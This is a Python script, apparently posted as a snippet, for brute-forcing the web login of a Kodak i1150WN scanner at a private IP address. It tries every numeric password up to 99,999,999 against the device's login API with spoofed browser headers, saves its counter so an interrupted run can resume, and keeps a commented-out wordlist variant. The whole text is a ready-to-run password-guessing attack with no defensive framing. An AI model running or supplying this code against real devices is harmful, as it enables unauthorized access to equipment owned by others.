Brute force login page Kodak i1150WN scanner

brute_force_kodak_i1150wn_login.py

import http.client
import requests
import atexit
import sys
from socket import gaierror

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
    'Accept': 'application/json, text/javascript, */*; q=0.01',
    'Content-Type': 'application/json; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest',
    'Referer': 'http://10.24.221.223/ru/login.html',
    'Host': '10.24.221.223',
    'Origin': 'http://10.24.221.223'

}

s = requests.Session()
HOST = '10.24.221.223'
LOGIN_URL = f'http://{HOST}/api/config/login'


def savecounter(_count):
    print(f'Save current counter ({_count}) value')
    with open("counterfile", "w") as outfile:
        outfile.write("%d" % _count)


def main():
    try:
        with open("counterfile") as infile:
            _count = int(infile.read())
            print(f'Resume iteration from {_count}')
    except FileNotFoundError:
        _count = 0

    for password in range(_count, 100000000):
        try:
            PAYLOAD = f'password={password}'
            content = s.post(LOGIN_URL, data=PAYLOAD.encode('utf-8'), headers=headers)
            print(password)

            if content.status_code != 400:
                print(content.status_code, '!!! OK', password)
                print(content.content)
                break
        except (KeyboardInterrupt, SystemExit):
            savecounter(password)
            sys.exit()




# filepath = '2151220-passwords.txt'
# with open(filepath) as fp:
#     line = fp.readline()
#     while line:
#         line = fp.readline()
#         password = line.strip().replace('=', '')
#         PAYLOAD = f'password={password}'
#         content = s.post(LOGIN_URL, data=PAYLOAD.encode('utf-8'), headers=headers)
#         print(password)
#
#         if content.status_code != 400:
#             print(content.status_code, '!!! OK', password)
#             print(content.content)
#             break


if __name__ == '__main__':


    try:
        conn = http.client.HTTPConnection(f'{HOST}', 80, timeout=1)
        conn.request("GET", "/")
        r1 = conn.getresponse()
        print(r1.status, r1.reason)
        main()
    except (ConnectionError, gaierror) as e:  # This is the correct syntax
        print(e)